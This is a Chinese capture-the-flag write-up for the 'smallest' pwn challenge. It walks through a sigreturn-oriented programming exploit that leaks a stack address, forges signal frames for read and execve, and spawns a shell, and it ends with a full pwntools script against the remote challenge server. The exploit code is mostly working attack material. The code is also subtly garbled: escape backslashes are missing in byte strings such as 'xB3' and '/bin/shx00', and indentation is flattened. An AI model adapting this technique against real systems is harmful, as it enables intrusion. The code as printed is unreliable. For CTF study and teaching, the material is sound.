题目链接(经典例题):
https://buuoj.cn/challenges#360chunqiu2017_smallest
非常经典的SROP例题。
首先用checksec检查程序保护:
只开了堆栈不可执行。
拖入IDApro进行静态分析。
程序只有简单的一个read功能,首先执行xor rax, rax将rax置成0,这是read函数的系统调用号。然后将edx赋值为0x400,将栈顶指针rsp作为buf赋值给rsi,代表读入字符的存放地址。接着将rax赋值给rdi,代表fd参数为0,即从stdin读取输入。最后执行syscall(系统调用),调用完执行ret跳转到rsp指向的地址。
关于系统调用号的说明,以下是64位系统中常用的函数的系统调用号:
程序存在以下特点:
-
程序不存在缓冲区,可以无限读取字符。
-
只存在syscall; ret,不存在其他的gadget。
-
没有leave; ret,无法进行栈迁移到可控的区域,故需要泄露栈地址。
-
程序正常read的时候,读取字符的前八个字节会存储在rsp上,在执行ret的时候作为返回地址。
考虑SROP技术进行getshell。
程序入口的地址为0x4000B0,所以第一次read传入的payload为:
start_addr = 0x4000B0
# 1. 3 * start_addr
payload = 3 * p64(start_addr)
p.send(payload)
第二次执行syscall之前,rsp指向第二个0x4000B0。由于需要leak出栈地址,考虑将rax赋值为1进行write的系统调用。所以第二次输入payload为:
# 2. leak stack
debug() # for debug
payload = b"xB3"
p.send(payload)
将0x4000B0的最后一个字节覆盖为xB3,即rsp最后会跳转到0x4000B3,刚好跳过xor rax, rax。而read操作的返回值是读入的字符个数,且会把返回值存储在rax。故程序跳转到0x4000B3之后,刚好可以进行一次write操作:write(1, &rsp, 0x400)。即将栈顶开始的0x400个字节打印到标准输出流(stdout)中。
从pwndbg调试的结果来看,此时write函数将要打印的地址除了第一个是之前输入的地址,从第二个开始就都是栈上的地址。所以可以据此得到栈上的地址:
stack_addr = u64(p.recv()[8:16])
leak("stack", stack_addr)
执行完write函数之后,由于rsp此时依旧指向0x4000B0,所以会进行第三次read。
这次的read要考虑输入SigreturnFrame了。先给出payload再做进一步分析:
sigframe = SigreturnFrame(kernel="amd64")
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + p64(0) + bytes(sigframe)
p.send(payload)
首先考虑构造一个read函数的SigreturnFrame。具体的意义如下:
-
sigframe.rax = constants.SYS_read ; 系统调用号为0
-
sigframe.rdi = 0 ;fd=0
-
sigframe.rsi = stack_addr ;buf
-
sigframe.rdx = 0x400 ;length
-
sigframe.rsp = stack_addr ;rsp
-
sigframe.rip = syscall_ret ;rip
构造一个可以向已知栈地址读取字符串的read函数的上下文,但是需要另外一个系统调用SYS_rt_sigreturn(系统调用号为0xf,15)才能恢复read函数的上下文,从而执行构造的read操作。
所以在sigframe之前,加了一次返回0x4000B0的操作和空出一个8字节的栈地址,具体原因下面再进行分析。
将payload进行发送之后,rsp指向p64(0)的位置,此时进行第四次read操作,而这次,传入的payload为:
syscall_ret = 0x4000BE
# 4. rax = 15
payload = p64(syscall_ret)
payload = payload.ljust(0xf, b"x00")
p.send(payload)
首先p64(0)的位置会被覆盖成syscall; ret的位置,然后将payload使用x00填充到0xf的长度,这里x00会覆盖sigframe的第一个地址的前7位,这个不会影响sigframe的使用。
执行完这一次的read之后,在还没进行ret之前,rsp指向syascall; ret。执行完ret操作,rsp指向sigframe的第一位的地址,rip指向syscall。此时rax=0xf,故进行第一次的SYS_rt_sigreturn调用,如下:
执行完SYS_rt_sigreturn,上下文被恢复成了read函数,此时由于在构造read函数的SigreturnFrame的时候,将rip设置为syscall_ret,即执行完read函数之后下一条指令就是syscall; ret。如下图。
此时考虑第五次的输入,这时已经知道了read函数读取字符串的存储地址,考虑进行execve的系统调用进行getshell。
# 5. first sigframe exploit
sigframe = SigreturnFrame(kernel="amd64")
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x150
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + p64(0) + bytes(sigframe)
payload += (0x150 - len(payload)) * b"x00" + b"/bin/shx00"
p.send(payload)
同样,在执行SYS_rt_sigreturn系统调用之前,要先令rax=0xf,所以在execve的上下文前面依然留了2个地址的空间进行rax的赋值操作,与read函数那边同理。
这边的上下文构造需要注意两个问题:
-
"/bin/shx00"字符的存放位置最好不要离首地址太远,否则会非常容易出现"timeout: the monitored command dumped coren"的错误(当然据我测试这个似乎看运气,但是偏移小一点出现错误的概率就会小,多尝试几次就成功getshell了)。
2. 在做输入"/bin/shx00"之前的填充操作的时候,不要写:payload = payload.rjust(0x150, b"x00")。具体原因暂时没发现,只是这样写确实不行。
接着进行第六次的read操作:
# 6. rax = 15
debug()
payload = p64(syscall_ret)
payload = payload.ljust(0xf, b"x00")
p.send(payload)
经过这次的read,函数成功恢复了execve函数的上下文,并且通过syscall执行execve("/bin/sh", NULL, NULL)成功getshell。
【完整的wp】
这个wp我自己写的时候遇到了很多问题,参考了一下别人写的比较优秀简洁的部分。
from pwn import *
import sys
context(arch='amd64', os='linux')
context.log_level='debug'
leak = lambda name,address : log.success("{}: {:#x}".format(name, address))
def debug():
if sys.argv[1] == "d":
pause()
else:
pass
# p = gdb.debug("./smallest", "b *0x4000BE")
# p = process("./smallest")
p = remote("node4.buuoj.cn", 29675)
start_addr = 0x4000B0
syscall_ret = 0x4000BE
# 1. 3 * start_addr
payload = 3 * p64(start_addr)
p.send(payload)
# 2. leak stack
debug() # for debug
payload = b"xB3"
p.send(payload)
stack_addr = u64(p.recv()[8:16])
leak("stack", stack_addr)
# 3. input sigframe
debug()
sigframe = SigreturnFrame(kernel="amd64")
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + p64(0) + bytes(sigframe)
p.send(payload)
# 4. rax = 15
debug()
payload = p64(syscall_ret)
payload = payload.ljust(0xf, b"x00")
p.send(payload)
# 5. first sigframe exploit
debug()
sigframe = SigreturnFrame(kernel="amd64")
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x150
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + p64(0) + bytes(sigframe)
payload += (0x150 - len(payload)) * b"x00" + b"/bin/shx00"
p.send(payload)
# 6. rax = 15
debug()
payload = p64(syscall_ret)
payload = payload.ljust(0xf, b"x00")
p.send(payload)
p.interactive()
原文始发于微信公众号(Stack0verf1ow):【PWN】刷题记录-SROP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论